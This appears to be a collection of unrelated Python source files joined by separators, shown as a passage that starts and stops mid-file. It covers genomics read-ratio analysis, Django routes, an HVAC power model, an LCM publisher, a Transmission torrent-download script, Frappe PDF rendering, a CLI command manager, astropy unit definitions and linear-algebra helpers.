label_mask = feature.lmask
return input_ids, input_mask, segment_ids, label_ids, label_mask
| python |
"""Calculate autosome ratios for each cell.
This script calculates the {X, 4, and Y} to autosome ratios for each
individual cell. I consider chromosomes 2L, 2R, 3L, and 3R as autosomes.
1. Pull out target FBgns.
2. Sum the number of raw reads for each chromosome.
3. Normalize totals by the number of genes on each chromosome.
4. Take the ratio of X / A, 4 / A, and Y / A
"""
import pandas as pd
from larval_gonad.io import pickle_load
def main(snake):
annot = gene_annotation_for_target_genes(snake["fbgn2chrom"], snake["target_fbgns"])
clusters = pd.read_feather(snake["clusters"]).set_index("cell_id")
num_genes_per_chrom = calculate_number_of_genes_per_chrom(annot, snake["autosomes"])
agg_counts = aggregate_count_data_to_chrom(snake["raw"], annot, snake["chrom_order"])
ratios = calculate_ratios(agg_counts, num_genes_per_chrom, snake['autosomes'])
ratios.join(clusters, how="inner").reset_index().to_feather(snake["output_file"])
def gene_annotation_for_target_genes(fbgn2chrom: str, target_fbgns: str) -> pd.DataFrame:
"""Subset fbg2chrom based on target gene set."""
return pickle_load(fbgn2chrom).reindex(pickle_load(target_fbgns)).dropna().squeeze()
def calculate_number_of_genes_per_chrom(annot: pd.DataFrame, autosomes: list) -> pd.Series:
"""Count the number of genes on each chromosome and the autosomes together."""
num_genes_per_chrom = annot.value_counts()
num_genes_per_chrom["autosome"] = num_genes_per_chrom.loc[autosomes].sum()
return num_genes_per_chrom
def aggregate_count_data_to_chrom(raw: str, annot: pd.DataFrame, chrom_order: list) -> pd.DataFrame:
"""Sum the number of reads for each chromosome."""
return (
pd.read_feather(raw)
.set_index("FBgn")
.join(annot, how="inner")
.groupby("chrom")
.sum()
.reindex(chrom_order)
.fillna(0)
.T.rename_axis("cell_id")
)
def calculate_ratios(
agg_counts: pd.DataFrame, num_genes_per_chrom: pd.Series, autosomes: list
) -> pd.Series:
"""Normalize by gene count and calculate autosome ratios."""
return (
agg_counts.assign(autosome=lambda agg_counts: agg_counts[autosomes].sum(axis=1))
.div(num_genes_per_chrom / 1e3, axis="columns")
.assign(x_to_a_ratio=lambda agg_counts: agg_counts["X"] / agg_counts.autosome)
.assign(fourth_to_a_ratio=lambda agg_counts: agg_counts["4"] / agg_counts.autosome)
.assign(y_to_a_ratio=lambda agg_counts: agg_counts["Y"] / agg_counts.autosome)
.loc[:, ["x_to_a_ratio", "fourth_to_a_ratio", "y_to_a_ratio"]]
)
if __name__ == "__main__":
SNAKE = dict(
raw=snakemake.input["raw"],
fbgn2chrom=snakemake.input["fbgn2chrom"],
clusters=snakemake.input["clusters"],
target_fbgns=snakemake.input["target_fbgns"],
autosomes=snakemake.params["autosomes"],
chrom_order=snakemake.params["chrom_order"],
output_file=snakemake.output[0],
)
# Debug Settings
# import os
# try:
# os.chdir(os.path.join(os.getcwd(), "x-to-a-wf/scripts"))
# print(os.getcwd())
# except:
# pass
# from larval_gonad.config import read_config
# config = read_config("../../config/common.yaml")
# SNAKE = dict(
# raw="../../output/cellselection-wf/raw.feather"
# fbgn2chrom="../../output/x-to-a-wf/fbgn2chrom.pkl"
# clusters="../../output/seurat3-cluster-wf/combined_n3_clusters.feather"
# target_fbgns='../../output/cellselection-wf/commonly_expressed_genes.pkl'
# snake_autosomes=config["autosomes"]
# snake_chrom_order=config["chrom_order"]
# snake_output_file=''
# )
main(SNAKE)
| python |
from django.conf.urls import url
from . import views
urlpatterns = [
url('api/product/search', views.GoodsSearch),
url('api/product/history', views.GetHistory)
] | python |
import logging
import importlib
from volttron.platform.agent import utils
import volttron.pnnl.models.input_names as data_names
_log = logging.getLogger(__name__)
utils.setup_logging()
class ahuchiller(object):
def __init__(self, config, parent, **kwargs):
self.parent = parent
equipment_conf = config.get("equipment_configuration")
model_conf = config.get("model_configuration")
self.cpAir = model_conf["cpAir"]
self.c0 = model_conf["c0"]
self.c1 = model_conf["c1"]
self.c2 = model_conf["c2"]
self.c3 = model_conf["c3"]
self.power_unit = model_conf.get("unit_power", "kw")
self.cop = model_conf["COP"]
self.mDotAir = model_conf.get("mDotAir", 0.0)
self.name = 'AhuChiller'
self.has_economizer = equipment_conf["has_economizer"]
self.economizer_limit = equipment_conf["economizer_limit"]
self.min_oaf = equipment_conf.get("minimum_oaf", 0.15)
self.vav_flag = equipment_conf.get("variable-volume", True)
self.sat_setpoint = equipment_conf["supply-air sepoint"]
self.building_chiller = equipment_conf["building chiller"]
self.tset_avg = equipment_conf["nominal zone-setpoint"]
self.tDis = self.sat_setpoint
self.parent.supply_commodity = "ZoneAirFlow"
self.fan_power = 0.
self.mDotAir = 0.
self.coil_load = 0.
self.get_input_value = parent.get_input_value
self.smc_interval = parent.single_market_contol_interval
self.parent = parent
self.sfs_name = data_names.SFS
self.mat_name = data_names.MAT
self.dat_name = data_names.DAT
self.saf_name = data_names.SAF
self.oat_name = data_names.OAT
self.rat_name = data_names.RAT
self.sfs = None
self.mat = None
self.dat = None
self.saf = None
self.oat = None
self.rat = None
def update_data(self):
self.sfs = self.get_input_value(self.sfs_name)
self.mat = self.get_input_value(self.mat_name)
self.dat = self.get_input_value(self.dat_name)
self.saf = self.get_input_value(self.saf_name)
self.oat = self.get_input_value(self.oat_name)
self.rat = self.get_input_value(self.rat_name)
def input_zone_load(self, q_load):
if self.vav_flag:
self.mDotAir = q_load
else:
self.tDis = q_load
self.dat = q_load
def calculate_fan_power(self):
if self.power_unit == 'W':
self.fan_power = (self.c0 + self.c1*self.mDotAir + self.c2*pow(self.mDotAir, 2) + self.c3*pow(self.mDotAir, 3))*1000. # watts
else:
self.fan_power = self.c0 + self.c1*self.mDotAir + self.c2*pow(self.mDotAir, 2) + self.c3*pow(self.mDotAir, 3) # kW
def calculate_coil_load(self, oat):
if self.has_economizer:
if oat < self.tDis:
coil_load = 0.0
elif oat < self.economizer_limit:
coil_load = self.mDotAir * self.cpAir * (self.tDis - oat)
else:
mat = self.tset_avg*(1.0 - self.min_oaf) + self.min_oaf*oat
coil_load = self.mDotAir * self.cpAir * (self.tDis - mat)
else:
mat = self.tset_avg * (1.0 - self.min_oaf) + self.min_oaf * oat
coil_load = self.mDotAir * self.cpAir * (self.tDis - mat)
if coil_load > 0: #heating mode is not yet supported!
self.coil_load = 0.0
else:
self.coil_load = coil_load
def calculate_load(self, q_load, oat):
self.input_zone_load(q_load)
return self.calculate_total_power(oat)
def single_market_coil_load(self):
try:
self.coil_load = self.mDotAir * self.cpAir * (self.dat - self.mat)
except:
_log.debug("AHU for single market requires dat and mat measurements!")
self.coil_load = 0.
def calculate_total_power(self, oat):
self.calculate_fan_power()
oat = oat if oat is not None else self.oat
if self.building_chiller and oat is not None:
if self.smc_interval is not None:
self.single_market_coil_load()
else:
self.calculate_coil_load(oat)
else:
_log.debug("AHUChiller building does not have chiller or no oat!")
self.coil_load = 0.0
return abs(self.coil_load)/self.cop/0.9 + max(self.fan_power, 0)
| python |
import sys
sys.path.append('../')
import lcm
import time
from exlcm import ax_control_t
from exlcm import veh_status_t
from exlcm import net_status_t
from exlcm import mode_control_t
from exlcm import eng_toggle_t
lc = lcm.LCM()
test_message = veh_status_t()
test_message.running = True
test_message.rpm = 3110
test_message.speed = 40
test_message.temp = 220
test_message.fuel_flow = 346
test_message.pressure = 1230
eng_toggle_msg = eng_toggle_t()
eng_toggle_msg.toggle = True
signal_message = net_status_t()
signal_message.signal_str = 4
mode_message = mode_control_t()
mode_message.evos_mode = "DEV"
while True:
lc.publish("eng_status", test_message.encode())
lc.publish("net_status", signal_message.encode())
lc.publish("mode_control", mode_message.encode())
lc.publish("eng_toggle", eng_toggle_msg.encode())
print 'Printing..'
time.sleep(1)
test_message.rpm += 1
eng_toggle_msg.toggle = ~eng_toggle_msg.toggle
| python |
import datetime
import json
import pathlib
import time
import httpx
import xmltodict
import yaml
nyaa_url = 'https://nyaa.si'
transmission_rpc_url = "http://localhost:9091/transmission/rpc"
session_field = 'X-Transmission-Session-Id'
class TransmissionApi():
def __init__(self):
self.restart_session()
def restart_session(self):
self.session = httpx.Client(base_url=transmission_rpc_url)
response = self.session.post(url='', data={'method': 'session-get'})
self.headers = {session_field: response.headers[session_field]}
def torrent_add(self, torrent_url, download_location, tries=2):
if tries == 0:
raise Exception('Error contacting Transmission server.')
data = json.dumps({
'method': 'torrent-add'
, 'arguments':
{ 'download-dir': str(download_location)
, 'filename': torrent_url
}
})
response:httpx.Response = self.session.post(url='', headers=self.headers, content=data)
if response.status_code == 200:
print(datetime.datetime.now(), download_location)
elif response.status_code == 409:
self.restart_session()
self.torrent_add(torrent_url, download_location, tries - 1)
def ensure_list(thing):
return thing if type(thing) is list else [thing]
def get_torrent_data_for_show(search_string):
response = httpx.get(nyaa_url, params={'page': 'rss', 'q': search_string})
if response.status_code == 200:
return ensure_list(xmltodict.parse(response.text)['rss']['channel']['item'])
def download_show(search_string, download_location, episode_start=1):
session = TransmissionApi()
episodes = get_torrent_data_for_show(search_string)[episode_start - 1:]
for episode in episodes:
filepath = download_location / episode['title']
partpath = filepath.with_suffix('.part')
if filepath.exists() or partpath.exists():
continue
session.torrent_add(episode['link'], download_location)
time.sleep(1)
def download_all_shows(config):
root = pathlib.Path(config['root'])
for show in config['shows']:
search_string, folder, *start = show
start = 1 if start == [] else start[0]
folder = root / folder
download_show(search_string, folder, start)
if __name__ == '__main__':
with open('shows.yml', 'r', encoding='utf-8') as f:
config = yaml.load(f, Loader=yaml.Loader)
download_all_shows(config)
| python |
from cedar_settings.default_settings import default_settings
default_settings['assets__default_search_results_per_page'] = ('int', 20) # integer hours.
default_settings['assets__default_asset_source_string'] = ('text', "Miscellaneous")
default_settings['assets__default_files_div_id'] = ('text', "#tab-files")
| python |
# Copyright (c) 2021, Frappe Technologies Pvt. Ltd. and Contributors
# MIT License. See LICENSE
import click
import frappe
@frappe.whitelist()
def download_pdf(doctype, name, print_format, letterhead=None):
doc = frappe.get_doc(doctype, name)
generator = PrintFormatGenerator(print_format, doc, letterhead)
pdf = generator.render_pdf()
frappe.local.response.filename = "{name}.pdf".format(
name=name.replace(" ", "-").replace("/", "-")
)
frappe.local.response.filecontent = pdf
frappe.local.response.type = "pdf"
def get_html(doctype, name, print_format, letterhead=None):
doc = frappe.get_doc(doctype, name)
generator = PrintFormatGenerator(print_format, doc, letterhead)
return generator.get_html_preview()
class PrintFormatGenerator:
"""
Generate a PDF of a Document, with repeatable header and footer if letterhead is provided.
This generator draws its inspiration and, also a bit of its implementation, from this
discussion in the library github issues: https://github.com/Kozea/WeasyPrint/issues/92
"""
def __init__(self, print_format, doc, letterhead=None):
"""
Parameters
----------
print_format: str
Name of the Print Format
doc: str
Document to print
letterhead: str
Letter Head to apply (optional)
"""
self.base_url = frappe.utils.get_url()
self.print_format = frappe.get_doc("Print Format", print_format)
self.doc = doc
self.letterhead = frappe.get_doc("Letter Head", letterhead) if letterhead else None
self.build_context()
self.layout = self.get_layout(self.print_format)
self.context.layout = self.layout
def build_context(self):
self.print_settings = frappe.get_doc("Print Settings")
page_width_map = {"A4": 210, "Letter": 216}
page_width = page_width_map.get(self.print_settings.pdf_page_size) or 210
body_width = (
page_width - self.print_format.margin_left - self.print_format.margin_right
)
print_style = (
frappe.get_doc("Print Style", self.print_settings.print_style)
if self.print_settings.print_style
else None
)
context = frappe._dict(
{
"doc": self.doc,
"print_format": self.print_format,
"print_settings": self.print_settings,
"print_style": print_style,
"letterhead": self.letterhead,
"page_width": page_width,
"body_width": body_width,
}
)
self.context = context
def get_html_preview(self):
header_html, footer_html = self.get_header_footer_html()
self.context.header = header_html
self.context.footer = footer_html
return self.get_main_html()
def get_main_html(self):
self.context.css = frappe.render_template(
"templates/print_format/print_format.css", self.context
)
return frappe.render_template(
"templates/print_format/print_format.html", self.context
)
def get_header_footer_html(self):
header_html = footer_html = None
if self.letterhead:
header_html = frappe.render_template(
"templates/print_format/print_header.html", self.context
)
if self.letterhead:
footer_html = frappe.render_template(
"templates/print_format/print_footer.html", self.context
)
return header_html, footer_html
def render_pdf(self):
"""
Returns
-------
pdf: a bytes sequence
The rendered PDF.
"""
HTML, CSS = import_weasyprint()
self._make_header_footer()
self.context.update(
{"header_height": self.header_height, "footer_height": self.footer_height}
)
main_html = self.get_main_html()
html = HTML(string=main_html, base_url=self.base_url)
main_doc = html.render()
if self.header_html or self.footer_html:
self._apply_overlay_on_main(main_doc, self.header_body, self.footer_body)
pdf = main_doc.write_pdf()
return pdf
def _compute_overlay_element(self, element: str):
"""
Parameters
----------
element: str
Either 'header' or 'footer'
Returns
-------
element_body: BlockBox
A Weasyprint pre-rendered representation of an html element
element_height: float
The height of this element, which will be then translated in a html height
"""
HTML, CSS = import_weasyprint()
html = HTML(string=getattr(self, f"{element}_html"), base_url=self.base_url,)
element_doc = html.render(
stylesheets=[CSS(string="@page {size: A4 portrait; margin: 0;}")]
)
element_page = element_doc.pages[0]
element_body = PrintFormatGenerator.get_element(
element_page._page_box.all_children(), "body"
)
element_body = element_body.copy_with_children(element_body.all_children())
element_html = PrintFormatGenerator.get_element(
element_page._page_box.all_children(), element
)
if element == "header":
element_height = element_html.height
if element == "footer":
element_height = element_page.height - element_html.position_y
return element_body, element_height
def _apply_overlay_on_main(self, main_doc, header_body=None, footer_body=None):
"""
Insert the header and the footer in the main document.
Parameters
----------
main_doc: Document
The top level representation for a PDF page in Weasyprint.
header_body: BlockBox
A representation for an html element in Weasyprint.
footer_body: BlockBox
A representation for an html element in Weasyprint.
"""
for page in main_doc.pages:
page_body = PrintFormatGenerator.get_element(page._page_box.all_children(), "body")
if header_body:
page_body.children += header_body.all_children()
if footer_body:
page_body.children += footer_body.all_children()
def _make_header_footer(self):
self.header_html, self.footer_html = self.get_header_footer_html()
if self.header_html:
header_body, header_height = self._compute_overlay_element("header")
else:
header_body, header_height = None, 0
if self.footer_html:
footer_body, footer_height = self._compute_overlay_element("footer")
else:
footer_body, footer_height = None, 0
self.header_body = header_body
self.header_height = header_height
self.footer_body = footer_body
self.footer_height = footer_height
def get_layout(self, print_format):
layout = frappe.parse_json(print_format.format_data)
layout = self.set_field_renderers(layout)
layout = self.process_margin_texts(layout)
return layout
def set_field_renderers(self, layout):
renderers = {"HTML Editor": "HTML", "Markdown Editor": "Markdown"}
for section in layout["sections"]:
for column in section["columns"]:
for df in column["fields"]:
fieldtype = df["fieldtype"]
renderer_name = fieldtype.replace(" ", "")
df["renderer"] = renderers.get(fieldtype) or renderer_name
df["section"] = section
return layout
def process_margin_texts(self, layout):
margin_texts = [
"top_left",
"top_center",
"top_right",
"bottom_left",
"bottom_center",
"bottom_right",
]
for key in margin_texts:
text = layout.get("text_" + key)
if text and "{{" in text:
layout["text_" + key] = frappe.render_template(text, self.context)
return layout
@staticmethod
def get_element(boxes, element):
"""
Given a set of boxes representing the elements of a PDF page in a DOM-like way, find the
box which is named `element`.
Look at the notes of the class for more details on Weasyprint insides.
"""
for box in boxes:
if box.element_tag == element:
return box
return PrintFormatGenerator.get_element(box.all_children(), element)
def import_weasyprint():
try:
from weasyprint import HTML, CSS
return HTML, CSS
except OSError:
message = "\n".join([
"WeasyPrint depdends on additional system dependencies.",
"Follow instructions specific to your operating system:",
"https://doc.courtbouillon.org/weasyprint/stable/first_steps.html"
])
click.secho(
message,
fg="yellow"
)
frappe.throw(message)
| python |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import sys
import argparse
import abc
from six import add_metaclass, text_type
import argparse
import re
from mCli.utils import get_resource_classes, Singleton
from mCli.commands.base import Command
@add_metaclass(abc.ABCMeta)
class CommandManager(Singleton, object):
"""Base class for commands
"""
description = ""
def __init__(self, path=None, prefix=None):
# Load the Commands Subclasses
self.cmdcls = get_resource_classes(path, prefix)
self.commands = [c.__name__ for c in self.cmdcls]
self.commands.append("help")
# Building Help Commands
self.helpstr = "Available Commands \n"
self.helpstr += "****************************************************\n"
for cls in self.cmdcls:
self.helpstr += cls.__name__ + " -------" + cls.description + "\n"
self.helpstr += "****************************************************\n"
def helpfn(self, arg=None):
arg = [str(a) for a in arg if a]
print arg
if len(arg)>=1 and arg[0] in self.commands:
result = "****************************************************\n"
for cls in self.cmdcls:
if self.isequal(str(arg[0]), str(cls.__name__)):
result+= cls.details + "\n"
result += "****************************************************\n"
return result
return self.helpstr
def list(self, filter="*"):
# return the commands name
res = []
if filter == "*":
return self.commands
else:
for cmd in self.commands:
match = re.match(r'(%s)' % filter, cmd, re.M | re.I)
if match:
res.append(cmd)
return res
def isequal(self, a, b):
return a.upper() == b.upper()
def execute(self, cmdname):
# cmd may have mutliple parts . first part is cmd, remaining parts are args
cmd = cmdname.split()
x = len(cmd)
# No Command entered, user pressed enter
if x == 0:
return None
# populating args for commands
args = []
if x != 0:
args += cmd[1:]
if cmd[0] in ["help", "Help", "HELP"]:
return self.helpfn(args)
# get the command object and execute call function
for c in self.cmdcls:
if self.isequal(str(cmd[0]), str(c.__name__)):
return c()(args)
return "Error : Command Not Found"
if __name__ == "__main__":
cm = CommandManager()
print cm.list("*")
print cm.list("H")
print cm.list("He")
print cm.list("Pi")
#print cm.execute("Help")
#print get_resource_classes()
| python |
# -*- coding: utf-8 -*-
# Licensed under a 3-clause BSD style license - see LICENSE.rst
"""
This package defines the astrophysics-specific units. They are also
available in the `astropy.units` namespace.
"""
from . import si
from astropy.constants import si as _si
from .core import (UnitBase, def_unit, si_prefixes, binary_prefixes,
set_enabled_units)
# To ensure si units of the constants can be interpreted.
set_enabled_units([si])
import numpy as _numpy
_ns = globals()
###########################################################################
# LENGTH
def_unit((['AU', 'au'], ['astronomical_unit']), _si.au, namespace=_ns, prefixes=True,
doc="astronomical unit: approximately the mean Earth--Sun "
"distance.")
def_unit(['pc', 'parsec'], _si.pc, namespace=_ns, prefixes=True,
doc="parsec: approximately 3.26 light-years.")
def_unit(['solRad', 'R_sun', 'Rsun'], _si.R_sun, namespace=_ns,
doc="Solar radius", prefixes=False,
format={'latex': r'R_{\odot}', 'unicode': 'R⊙'})
def_unit(['jupiterRad', 'R_jup', 'Rjup', 'R_jupiter', 'Rjupiter'],
_si.R_jup, namespace=_ns, prefixes=False, doc="Jupiter radius",
# LaTeX jupiter symbol requires wasysym
format={'latex': r'R_{\rm J}', 'unicode': 'R♃'})
def_unit(['earthRad', 'R_earth', 'Rearth'], _si.R_earth, namespace=_ns,
prefixes=False, doc="Earth radius",
# LaTeX earth symbol requires wasysym
format={'latex': r'R_{\oplus}', 'unicode': 'R⊕'})
def_unit(['lyr', 'lightyear'], (_si.c * si.yr).to(si.m),
namespace=_ns, prefixes=True, doc="Light year")
###########################################################################
# AREAS
def_unit(['barn', 'barn'], 10 ** -28 * si.m ** 2, namespace=_ns, prefixes=True,
doc="barn: unit of area used in HEP")
###########################################################################
# ANGULAR MEASUREMENTS
def_unit(['cycle', 'cy'], 2.0 * _numpy.pi * si.rad,
namespace=_ns, prefixes=False,
doc="cycle: angular measurement, a full turn or rotation")
def_unit(['spat', 'sp'], 4.0 * _numpy.pi * si.sr,
namespace=_ns, prefixes=False,
doc="spat: the solid angle of the sphere, 4pi sr")
###########################################################################
# MASS
def_unit(['solMass', 'M_sun', 'Msun'], _si.M_sun, namespace=_ns,
prefixes=False, doc="Solar mass",
format={'latex': r'M_{\odot}', 'unicode': 'M⊙'})
def_unit(['jupiterMass', 'M_jup', 'Mjup', 'M_jupiter', 'Mjupiter'],
_si.M_jup, namespace=_ns, prefixes=False, doc="Jupiter mass",
# LaTeX jupiter symbol requires wasysym
format={'latex': r'M_{\rm J}', 'unicode': 'M♃'})
def_unit(['earthMass', 'M_earth', 'Mearth'], _si.M_earth, namespace=_ns,
prefixes=False, doc="Earth mass",
# LaTeX earth symbol requires wasysym
format={'latex': r'M_{\oplus}', 'unicode': 'M⊕'})
def_unit(['M_p'], _si.m_p, namespace=_ns, doc="Proton mass",
format={'latex': r'M_{p}', 'unicode': 'Mₚ'})
def_unit(['M_e'], _si.m_e, namespace=_ns, doc="Electron mass",
format={'latex': r'M_{e}', 'unicode': 'Mₑ'})
# Unified atomic mass unit
def_unit(['u', 'Da', 'Dalton'], _si.u, namespace=_ns,
prefixes=True, exclude_prefixes=['a', 'da'],
doc="Unified atomic mass unit")
##########################################################################
# ENERGY
# Here, explicitly convert the planck constant to 'eV s' since the constant
# can override that to give a more precise value that takes into account
# covariances between e and h. Eventually, this may also be replaced with
# just `_si.Ryd.to(eV)`.
def_unit(['Ry', 'rydberg'],
(_si.Ryd * _si.c * _si.h.to(si.eV * si.s)).to(si.eV),
namespace=_ns, prefixes=True,
doc="Rydberg: Energy of a photon whose wavenumber is the Rydberg "
"constant",
format={'latex': r'R_{\infty}', 'unicode': 'R∞'})
##########################################################################
# PRESSURE
def_unit(['bar'], 1e5 * si.Pa, namespace=_ns,
prefixes=[(['m'], ['milli'], 1.e-3)],
doc="bar: pressure")
###########################################################################
# ILLUMINATION
def_unit(['solLum', 'L_sun', 'Lsun'], _si.L_sun, namespace=_ns,
prefixes=False, doc="Solar luminance",
format={'latex': r'L_{\odot}', 'unicode': 'L⊙'})
###########################################################################
# SPECTRAL DENSITY
def_unit((['ph', 'photon'], ['photon']),
format={'ogip': 'photon', 'vounit': 'photon'},
namespace=_ns, prefixes=True)
def_unit(['Jy', 'Jansky', 'jansky'], 1e-26 * si.W / si.m ** 2 / si.Hz,
namespace=_ns, prefixes=True,
doc="Jansky: spectral flux density")
def_unit(['R', 'Rayleigh', 'rayleigh'],
(1e10 / (4 * _numpy.pi)) *
ph * si.m ** -2 * si.s ** -1 * si.sr ** -1,
namespace=_ns, prefixes=True,
doc="Rayleigh: photon flux")
###########################################################################
# MISCELLANEOUS
# Some of these are very FITS-specific and perhaps considered a mistake.
# Maybe they should be moved into the FITS format class?
# TODO: This is defined by the FITS standard as "relative to the sun".
# Is that mass, volume, what?
def_unit(['Sun'], namespace=_ns)
###########################################################################
# EVENTS
def_unit((['ct', 'count'], ['count']),
format={'fits': 'count', 'ogip': 'count', 'vounit': 'count'},
namespace=_ns, prefixes=True, exclude_prefixes=['p'])
def_unit((['pix', 'pixel'], ['pixel']),
format={'ogip': 'pixel', 'vounit': 'pixel'},
namespace=_ns, prefixes=True)
###########################################################################
# MISCELLANEOUS
def_unit(['chan'], namespace=_ns, prefixes=True)
def_unit(['bin'], namespace=_ns, prefixes=True)
def_unit((['vox', 'voxel'], ['voxel']),
format={'fits': 'voxel', 'ogip': 'voxel', 'vounit': 'voxel'},
namespace=_ns, prefixes=True)
def_unit((['bit', 'b'], ['bit']), namespace=_ns,
prefixes=si_prefixes + binary_prefixes)
def_unit((['byte', 'B'], ['byte']), 8 * bit, namespace=_ns,
format={'vounit': 'byte'},
prefixes=si_prefixes + binary_prefixes,
exclude_prefixes=['d'])
def_unit(['adu'], namespace=_ns, prefixes=True)
def_unit(['beam'], namespace=_ns, prefixes=True)
def_unit(['electron'], doc="Number of electrons", namespace=_ns,
format={'latex': r'e^{-}', 'unicode': 'e⁻'})
# This is not formally a unit, but is used in that way in many contexts, and
# an appropriate equivalency is only possible if it's treated as a unit (see
# https://arxiv.org/pdf/1308.4150.pdf for more)
# Also note that h or h100 or h_100 would be a better name, but they either
# conflict or have numbers in them, which is apparently disallowed
def_unit(['littleh'], namespace=_ns, prefixes=False,
doc="Reduced/\"dimensionless\" Hubble constant",
format={'latex': r'h_{100}'})
# The torr is almost the same as mmHg but not quite.
# See https://en.wikipedia.org/wiki/Torr
# Define the unit here despite it not being an astrophysical unit.
# It may be moved if more similar units are created later.
def_unit(['Torr', 'torr'], _si.atm.value/760. * si.Pa, namespace=_ns,
prefixes=[(['m'], ['milli'], 1.e-3)],
doc="Unit of pressure based on an absolute scale, now defined as "
"exactly 1/760 of a standard atmosphere")
###########################################################################
# CLEANUP
del UnitBase
del def_unit
del si
###########################################################################
# DOCSTRING
# This generates a docstring for this module that describes all of the
# standard units defined here.
from .utils import generate_unit_summary as _generate_unit_summary
if __doc__ is not None:
__doc__ += _generate_unit_summary(globals())
| python |
"""
#########################
Linalg (``utils.linalg``)
#########################
Linear algebra helper routines and wrapper functions for handling sparse
matrices and dense matrices representation.
"""
import sys
import copy
import numpy as np
import scipy
import scipy.sparse as sp
import scipy.sparse.linalg as sla
import numpy.linalg as nla
from operator import mul, eq, ne, add, ge, le, itemgetter
from operator import truediv as div
from math import sqrt, log, isnan, ceil
from scipy.cluster.hierarchy import linkage, cophenet
from scipy.special import erfc, erfcinv
import warnings
#
# Wrapper functions for handling sparse matrices and dense matrices representation.
### scipy.sparse, numpy.matrix
#
def diff(X):
"""
Compute differences between adjacent elements of X.
:param X: Vector for which consecutive differences are computed.
:type X: :class:`numpy.matrix`
"""
assert 1 in X.shape, "sX should be a vector."
assert not sp.isspmatrix(X), "X is sparse matrix."
X = X.flatten()
return [X[0, j + 1] - X[0, j] for j in range(X.shape[1] - 1)]
def sub2ind(shape, row_sub, col_sub):
"""
Return the linear index equivalents to the row and column subscripts for
given matrix shape.
:param shape: Preferred matrix shape for subscripts conversion.
:type shape: `tuple`
:param row_sub: Row subscripts.
:type row_sub: `list`
:param col_sub: Column subscripts.
:type col_sub: `list`
"""
assert len(row_sub) == len(
col_sub), "Row and column subscripts do not match."
res = [j * shape[0] + i for i, j in zip(row_sub, col_sub)]
return res
def trace(X):
"""
Return trace of sparse or dense square matrix X.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
"""
assert X.shape[0] == X.shape[1], "X should be square matrix."
if sp.isspmatrix(X):
return sum(X[i, i] for i in range(X.shape[0]))
else:
return np.trace(np.mat(X))
def any(X, axis=None):
"""
Test whether any element along a given axis of sparse or dense matrix X is nonzero.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
:param axis: Specified axis along which nonzero test is performed.
If :param:`axis` not specified, whole matrix is considered.
:type axis: `int`
"""
if sp.isspmatrix(X):
X = X.tocsr()
assert axis == 0 or axis == 1 or axis is None, "Incorrect axis number."
if axis is None:
return len(X.data) != X.shape[0] * X.shape[1]
res = [0 for _ in range(X.shape[1 - axis])]
def _caxis(now, row, col):
res[col] += 1
def _raxis(now, row, col):
res[row] += 1
check = _caxis if axis == 0 else _raxis
now = 0
for row in range(X.shape[0]):
upto = X.indptr[row + 1]
while now < upto:
col = X.indices[now]
check(now, row, col)
now += 1
sol = [x != 0 for x in res]
return np.mat(sol) if axis == 0 else np.mat(sol).T
else:
return X.any(axis)
def all(X, axis=None):
"""
Test whether all elements along a given axis of sparse or dense matrix
:param:`X` are nonzero.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param axis: Specified axis along which nonzero test is performed.
If :param:`axis` not specified, whole matrix is considered.
:type axis: `int`
"""
if sp.isspmatrix(X):
X = X.tocsr()
assert axis == 0 or axis == 1 or axis is None, "Incorrect axis number."
if axis is None:
return len(X.data) == X.shape[0] * X.shape[1]
res = [0 for _ in range(X.shape[1 - axis])]
def _caxis(now, row, col):
res[col] += 1
def _raxis(now, row, col):
res[row] += 1
check = _caxis if axis == 0 else _raxis
now = 0
for row in range(X.shape[0]):
upto = X.indptr[row + 1]
while now < upto:
col = X.indices[now]
check(now, row, col)
now += 1
sol = [x == X.shape[0] if axis == 0 else x == X.shape[1] for x in res]
return np.mat(sol) if axis == 0 else np.mat(sol).T
else:
return X.all(axis)
def find(X):
"""
Return all nonzero elements indices (linear indices) of sparse or dense
matrix :param:`X`. It is Matlab notation.
:param X: Target matrix.
type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
"""
if sp.isspmatrix(X):
X = X.tocsr()
res = []
now = 0
for row in range(X.shape[0]):
upto = X.indptr[row + 1]
while now < upto:
col = X.indices[now]
if X.data[now]:
res.append(col * X.shape[0] + row)
now += 1
return res
else:
return [j * X.shape[0] + i for i in range(X.shape[0]) for j in range(X.shape[1]) if X[i, j]]
def negative(X):
"""
Check if :param:`X` contains negative elements.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
"""
if sp.isspmatrix(X):
if any(X.data < 0):
return True
else:
if any(np.asmatrix(X) < 0):
return True
def sort(X):
"""
Return sorted elements of :param:`X` and array of corresponding
sorted indices.
:param X: Target vector.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
"""
assert 1 in X.shape, "X should be vector."
X = X.flatten().tolist()[0]
return sorted(X), sorted(list(range(len(X))), key=X.__getitem__)
def std(X, axis=None, ddof=0):
"""
Compute the standard deviation along the specified :param:`axis` of
matrix :param:`X`.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
:param axis: Axis along which deviation is computed. If not specified,
whole matrix :param:`X` is considered.
:type axis: `int`
:param ddof: Means delta degrees of freedom. The divisor used in
computation is N - :param:`ddof`, where N represents the
number of elements. Default is 0.
:type ddof: `float`
"""
assert len(X.shape) == 2, "Input matrix X should be 2-D."
assert axis == 0 or axis == 1 or axis is None, "Incorrect axis number."
if sp.isspmatrix(X):
if axis is None:
mean = X.mean()
no = X.shape[0] * X.shape[1]
return sqrt(1. / (no - ddof) * sum((x - mean) ** 2 for x in X.data) + (no - len(X.data) * mean ** 2))
if axis == 0:
return np.mat([np.std(X[:, i].toarray(), axis, ddof) for i in range(X.shape[1])])
if axis == 1:
return np.mat([np.std(X[i, :].toarray(), axis, ddof) for i in range(X.shape[0])]).T
else:
return np.std(X, axis=axis, ddof=ddof)
def argmax(X, axis=None):
"""
Return tuple (values, indices) of the maximum entries of matrix
